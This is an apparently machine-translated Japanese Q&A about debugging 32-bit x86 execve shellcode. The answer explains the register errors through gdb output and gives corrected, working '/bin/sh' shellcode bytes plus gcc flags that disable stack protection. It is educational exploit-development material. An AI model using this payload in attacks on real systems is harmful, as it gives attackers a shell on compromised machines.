私はシェルコードの作成方法を学習しようとしています。私の目標はexecve()
を呼び出すことです。私はアセンブリでコードを記述しましたが、完全に機能し、nullバイトまたは絶対アドレス指定メソッドはありません。コードは正常に機能しますが、オペコードをcプログラムにコピーしてテストし、機能するかどうかを確認すると、セグメンテーションエラーが返されます。何が問題ですか?
ASM:
section .text
global _start
_start:
jmp xxx
xx:
mov al,11
pop ebx
xor ecx,ecx
xor edx,edx
int 0x80
mov al,1
xor bl,bl
int 0x80
section .data
xxx:
call xx
path db "/bin/sh"
Cコード:
char shellcode[]={"\xb0\x0b\x5b\x31\xc9\x31\xd2\xcd\x80\xb0\x01\x30\xdb\xcd\x80"};
int main(){
void (*ptr) (void) = &shellcode;
ptr();
return 0;
}
シェルコードに複数の問題があるようです。まず、コードをデバッグしましょう。私はあなたのシェルコードを含むCコードをコンパイルし、それをgdbで実行し、最初のシステムコール(int 0x80
)まで進みます
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: Push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: Push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV\030pUV$\376\371\367$\376\371\367")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
ここにいくつかの問題があります:
EAX
レジスタは0xbに設定されていません。これは、シェルコードがレジスタの値をクリアせず、代わりに命令mov al, 0xb
で下位バイトを設定するだけだからです。EBX
レジスタは、実行しようとしているファイルでchar*
を指している必要があります(通常は"/bin/sh"
です)。代わりに、この場合、ランダムなメモリ位置を指します。 main
関数。ECX
レジスタは、実行する完全なコマンドを示すchar*
の配列を指している必要があります。ほとんどのシェルコードでは、これは["/bin/sh", 0]
であることがわかりましたが、["/path/to/binary","-argument1",..., 0]
などの別のシェルコードを使用することもできます。この場合は、その配列をメモリ内に作成する必要があります。シェルコードでECX
は0x0
に設定されていますEDX
レジスターは、バイナリーの実行環境を表します。 execve(3)manual ページを見て、それがどのように使用されるかをもう少し理解することができますが、ここでは、NULL
の値を入れても問題ありません。では、どうすれば修正できますか?まず、最初に、アクセスできるメモリ部分の "/ bin/sh\0"文字列をEBX
にポイントする必要があります。スタック。そして、それをシェルコードで行う必要があります。次のガジェットでそれを行うことができます:
xor eax, eax //Clear the eax register so we have a null byte to end our string
Push eax
Push "n/sh" //The string needs to be written "backwards"
Push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh\0", so we need to move that pointer to ebx
次に、ECX
をchar*
などの["/bin/sh", 0]
の配列にポイントする必要があります。その一部はEBX
にすでにあるので、シェルコードを続けて次のようにできます。
xor eax, eax
Push eax
Push "n/sh"
Push "//bi"
mov ebx, esp
Push eax // Remember it's still 0 from our previous xor eax, eax
Push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh\0"
最後に、AL
レジスタを0xb
に設定して、syscallを実行する必要があります。したがって、最終的なシェルコードは次のようになります。
section .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
Push eax
Push "n/sh"
Push "//bi"
mov ebx, esp
Push eax
Push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
Nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm
をコンパイルして、オペコードを抽出し、Cコードに入れてテストします。
char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
(*(void(*)())shellcode)();
return 0;
}
お好みのコンパイラでコンパイルしてください。私はgcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c
を使用しています。そしてそれを実行します:
$ ./shellcode.o
sh-4.4$